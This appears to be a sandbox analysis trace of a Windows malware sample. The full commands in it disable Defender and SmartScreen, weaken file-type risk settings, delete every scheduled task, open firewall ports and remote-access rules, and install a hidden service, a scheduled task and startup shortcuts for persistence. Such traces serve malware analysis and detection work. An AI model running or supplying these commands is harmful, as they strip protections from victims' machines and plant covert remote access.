C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmAgent" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefsvc" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefusersvc" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\ControlSet001\Services" /s /k "webthreatdefusersvc" /f 2>nul | find /i "webthreatdefusersvc"10⤵
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\SYSTEM\ControlSet001\Services" /s /k "webthreatdefusersvc" /f11⤵
-
-
C:\Windows\SysWOW64\find.exefind /i "webthreatdefusersvc"11⤵
-
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe" /v "Debugger" /t REG_SZ /d "%windir%\System32\taskkill.exe" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "6152" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "ModRiskFileTypes" /t REG_SZ /d ".bat;.exe;.reg;.vbs;.chm;.msi;.js;.cmd" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "EnableSmartScreen" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe" /v "Debugger" /t REG_SZ /d "%windir%\System32\taskkill.exe" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "6152" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "ModRiskFileTypes" /t REG_SZ /d ".bat;.exe;.reg;.vbs;.chm;.msi;.js;.cmd" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SmartScreen" /v "EnableSmartScreen" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable10⤵
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable10⤵
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable10⤵
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable10⤵
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable10⤵
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\sc.exe config webthreatdefsvc start= disabled10⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\sc.exe config webthreatdefusersvc start= disabled10⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\takeown.exeC:\Windows\System32\takeown.exe /s SUJRKAMC /u Admin /f "C:\Windows\System32\smartscreen.exe"10⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeC:\Windows\System32\icacls.exe "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F10⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SysWOW64\taskkill.exeC:\Windows\System32\taskkill.exe /im smartscreen.exe /f10⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Admin\Desktop\View_nano.exe" "C:\Windows\note.exe"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Admin\Desktop\View.exe" "C:\Windows\note.exe"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Admin\Desktop\View_nano.exe" "C:\Users\Public\shell.txt"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Admin\Desktop\View.exe" "C:\Users\Public\shell.txt"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Public\Desktop\View_nano.exe" "C:\Windows\note.exe"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Public\Desktop\View.exe" "C:\Windows\note.exe"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Public\Desktop\View_nano.exe" "C:\Users\Public\shell.txt"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\Users\Public\Desktop\View.exe" "C:\Users\Public\shell.txt"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\ProgramData\View_nano.exe" "C:\Windows\note.exe"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\ProgramData\View.exe" "C:\Windows\note.exe"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\ProgramData\View_nano.exe" "C:\Users\Public\shell.txt"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F"10⤵
-
-
C:\Windows\SysWOW64\xcopy.exexcopy /h /r /k /q /y "C:\ProgramData\View.exe" "C:\Users\Public\shell.txt"10⤵
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\ProgramData\1_ADMIN_OK.ini"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\ProgramData\1_ADMIN_ERRO.ini"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\Tweaker\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\en\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\Users\Admin\AppData\Local\Temp\Tweaker\*.lst"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\Windows\SysWOW64\en\*.lst"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Windows\L2cache"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /va /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /va /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%Systemfont.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%palemoon.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%screen.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%choice.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%fontdrvhots.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%tv_x86.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Users\Admin\AppData\Local\Temp\Tweaker\*.lst"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Windows\SysWOW64\en\*.lst"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe service where "name like 'Intel(R) Utiliti'" call stopservice10⤵
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe Service Where "name like 'Intel(R) Utiliti'" Call Delete10⤵
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe stop "Intel(R) Utiliti"10⤵
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\SC.exe DELETE "Intel(R) Utiliti"10⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Delete /TN * /F10⤵
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%IntelSvc.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%fontdrvhots.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%tv_x86.exe%'" Call Terminate10⤵
- Kills process with WMI
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\Users\Public\shell.txt"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\Users\Public\shell.txt"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -ArgumentList 'Set-ExecutionPolicy Unrestricted' -Verb RunAs -windowstyle hidden"10⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe" Set-ExecutionPolicy Unrestricted11⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d "Unrestricted" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d "Unrestricted" /f10⤵
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Open port 443" dir=in action=allow protocol=TCP localport=44310⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall set rule name="Open port 443" new enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Open port 80" dir=in action=allow protocol=TCP localport=8010⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall set rule name="Open port 80" new enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Open port 6568" dir=in action=allow protocol=TCP localport=656810⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall set rule name="Open port 6568" new enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Open port 50001" dir=in action=allow protocol=TCP localport=5000110⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall set rule name="Open port 50001" new enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="AnyDesk1" dir=in action=allow program="C:\Program Files (x86)\AnyDesk\AnyDesk.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="AnyDesk2" dir=in action=allow program="C:\Program Files\AnyDesk\AnyDesk.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="AnyDesk3" dir=in action=allow program="C:\ProgramData\AnyDesk\AnyDesk.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="TeamViewer1" dir=in action=allow program="C:\Program Files (x86)\TeamViewer\TeamViewer.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="TeamViewer2" dir=in action=allow program="C:\Program Files\TeamViewer\TeamViewer.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="TeamViewer3" dir=in action=allow program="C:\ProgramData\TeamViewer\TeamViewer.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Intel1" dir=in action=allow program="C:\ProgramData\IntelSvc.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Intel2" dir=in action=allow program="C:\Users\Public\IntelSvc.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Intel3" dir=in action=allow program="C:\Users\Admin\AppData\Local\OneDrive\fontdrvhots.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Intel4" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\tv_x86.exe" enable=yes10⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -h -r -s "C:\ProgramData\USOShared\*.*"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\PING.EXEC:\Windows\System32\ping.exe 192.168.1.1 -n 210⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process 'C:\ProgramData\IntelSvc.exe' -ArgumentList '-install_service' -verb runas -windowstyle hidden"10⤵
- Command and Scripting Interpreter: PowerShell
-
C:\ProgramData\IntelSvc.exe"C:\ProgramData\IntelSvc.exe" -install_service11⤵
-
-
-
C:\Windows\SysWOW64\PING.EXEC:\Windows\System32\ping.exe 192.168.1.1 -n 410⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Intel(R) Utiliti" /v "ImagePath" /t "REG_EXPAND_SZ" /d "\"C:\ProgramData\IntelSvc.exe\" w -sid 1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Intel(R) Utiliti" /v "ImagePath" /t "REG_EXPAND_SZ" /d "\"C:\ProgramData\IntelSvc.exe\" w -sid 1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\ProgramData\IntelSvc.exe"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe +h +r +s "C:\ProgramData\IntelSvc.exe"10⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /create /sc minute /mo 58 /tn "OneDrv" /tr "\"C:\Users\Admin\AppData\Local\OneDrive\fontdrvhots.exe\"" /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe "$s=(New-Object -COM WScript.Shell).CreateShortcut('"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\TeamViewer_Service.lnk"');$s.TargetPath='"C:\Users\Admin\AppData\Local\Temp\tv_x86.exe"';$s.IconLocation='"C:\Users\Admin\AppData\Local\Temp\tv_x86.exe"';$s.WorkingDirectory='"C:\Users\Admin\AppData\Local\Temp"';$s.WindowStyle=7;$s.Save()"10⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe "$s=(New-Object -COM WScript.Shell).CreateShortcut('"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TeamViewer_Service.lnk"');$s.TargetPath='"C:\Users\Admin\AppData\Local\Temp\tv_x86.exe"';$s.IconLocation='"C:\Users\Admin\AppData\Local\Temp\tv_x86.exe"';$s.WorkingDirectory='"C:\Users\Admin\AppData\Local\Temp"';$s.WindowStyle=7;$s.Save()"10⤵
-
-
